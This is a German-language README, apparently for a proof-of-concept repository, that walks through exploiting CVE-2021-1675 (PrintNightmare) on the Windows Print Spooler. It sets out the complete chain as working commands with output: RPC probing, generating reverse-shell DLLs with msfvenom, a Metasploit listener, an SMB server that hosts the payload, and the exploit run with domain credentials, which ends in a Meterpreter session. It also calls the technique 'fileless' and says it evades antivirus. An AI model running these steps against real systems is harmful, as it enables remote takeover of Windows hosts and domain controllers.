dll00p/cve-2021-1675Proof-of-Concept-Exploit für CVE-2021-1675 (PrintNightmare), der auf den Windows-Druckwarteschlangen-Dienst abzielt. Verwendet eine mit msfvenom erzeugte schädliche DLL, die über SMB bereitgestellt wird, um Remote-Codeausführung und eine Meterpreter-Reverse-Shell zu erreichen.
Der Druckspooler ist ein Windows-Dienst, der Druckwarteschlangen verwaltet. Er empfängt Aufträge, die vom Benutzer übermittelt werden, konvertiert sie in ein Format, das der Drucker versteht, und sendet sie, sobald der Drucker verfügbar ist. Er läuft als Systemdienst (spoolsv.exe) mit hohen Privilegien, was ihn zu einem häufigen Angriffsziel macht, wie zum Beispiel für die PrintNightmare-Schwachstelle.
Wenn ein Angreifer versucht, den Druckspooler remote auszunutzen, um zu prüfen, ob ein Host anfällig für den PrintNightmare-Fehler ist, könnte man ein Tool namens rpcdump.py verwenden, das Teil des Impacket-Pakets ist, einer Sammlung von Tools, die in der Pentesting-Umgebung weit verbreitet ist.
❯ rpcdump.py @10.10.188.66 | egrep 'MS-RPRN|MS-PAR'
Protocol: [MS-PAR]: Print System Asynchronous Remote Protocol
Protocol: [MS-RPRN]: Print System Remote Protocol
Um diese Schwachstelle auszunutzen, erfolgt die Verteilung dieses Exploits über eine bösartige DLL. Diese Methode, auch als „fileless“-Exploitation bekannt, ermöglicht es uns, die meisten Systemschutzmechanismen wie Antivirensoftware zu umgehen. Bei diesem Angriff täuschen wir den Druckspooler-Dienst, indem wir ihn dazu bringen, einen neuen Treiber von einem UNC-Pfad zu installieren und zu laden. In unserem Fall ist dies die bösartige DLL, die uns eine Reverse-Shell zum angreifenden Computer ermöglichen würde. Um die bösartige DLL zu erstellen, verwende ich „msfvenom“ und, je nach Architektur, integrieren wir ein Windows-x64- oder x86-Payload in die DLL, wobei wir den lokalen Host und den lokalen Port angeben, auf dem wir einen Listener für einen Callback von der DLL starten. Die IP-Adresse deines Rechners findest du heraus, indem du „ifconfig“ eingibst. Wir verwenden den folgenden Befehl, um unsere bösartige DLL zu erstellen.
❯ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=443 -f dll -o /home/ghost/Pentesting/Print/PrintMalicious_x64.dll
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of dll file: 9216 bytes
Saved as: /home/ghost/Pentesting/Print/PrintMalicious_x64.dll
Und falls unsere Architektur in einem anderen Fall 32 Bit beträgt, würden wir dieses Payload verwenden:
❯ msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=443 -f dll -o /home/ghost/Pentesting/Print/PrintMalicious_x86.dll
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of dll file: 9216 bytes
Saved as: /home/ghost/Pentesting/Print/PrintMalicious_x86.dll
Nachdem wir unsere bösartige DLL erstellt haben, müssen wir als Nächstes unseren Listener im „Metasploit Framework“ starten, um die ‚Meterpreter‘-Shell zurückzubekommen, wenn die DLL auf dem System ausgeführt wird. Befolge die folgenden Schritte, um den Listener zu starten. Gib am Ende 'exploit -j' ein, um den Listener im Hintergrund zu starten.
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 10.10.10.10
LHOST => 10.10.10.10
msf6 exploit(multi/handler) > set LPORT 443
LPORT => 443
msf6 exploit(multi/handler) > exploit -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 10.10.10.10:443
Nachdem wir unseren Empfänger gestartet haben, starten wir unseren SMB-Server, um die bösartige DLL-Datei zu hosten. Gehe zu dem Systempfad, in dem wir die DLL-Datei gespeichert haben, und gib den folgenden Befehl ein, um den SMB-Server zu starten. Stelle vorher sicher, dass „Impacket“ auf deinem Computer installiert ist. Impacket ist eine Sammlung von Open-Source-Modulen, die in Python geschrieben wurden, und eines davon ist smbserver.py, das wir in diesem Fall verwenden werden. Um das Skript „smbserver.py“ zu starten und die bösartige DLL-Datei zu hosten, gib den folgenden Befehl in dem Verzeichnis ein, in dem wir sie gespeichert haben, in meinem Fall /home/ghost/Pentesting/Printer/.
❯ smbserver.py share . -smb2support
Impacket v0.9.24.dev1+20210704.162046.29ad5792 - Copyright 2021 SecureAuth Corporation
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
Großartig, wir sind jetzt bereit, den Ausnutzungsprozess unter Verwendung des CVE-2021–1675 Proof-of-Concept (POC) zu beginnen. Dazu geben wir den Domain-Controller und Benutzeranmeldeinformationen mit dem UNC-Pfad zu der auf unserem System gehosteten bösartigen DLL an.
❯ python3 CVE-2021-1675.py NetworkAD-EDU.ENGdepartment.local/jjsmith:[email protected] '\\\\10.10.10.10\\share\\PrintMalicious_x64.dll'
[*] Connecting to ncacn_np:10.10.220.93[\\PIPE\\spoolss]
[+] Bind OK
[+] pDriverPath Found C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_83aa9aebf5dffc96\\Amd64\\UNIDRV.DLL
[*] Executing \\??\\UNC\\10.10.10.10\\share\\PrintMalicious_x64.dll
[*] Try 1...
[*] Stage0: 0
[*] Try 2...
[*] Stage0: 0
[*] Try 3...
Einige Sekunden nach dem Ausführen des Exploit-Skripts sehen wir, wenn wir zu dem Listener zurückkehren, den wir in 'Metasploit' gestartet haben, dass eine 'Meterpreter'-Sitzung geöffnet wurde. Wir können nun mithilfe der 'Meterpreter shell' mit dem Opferrechner interagieren.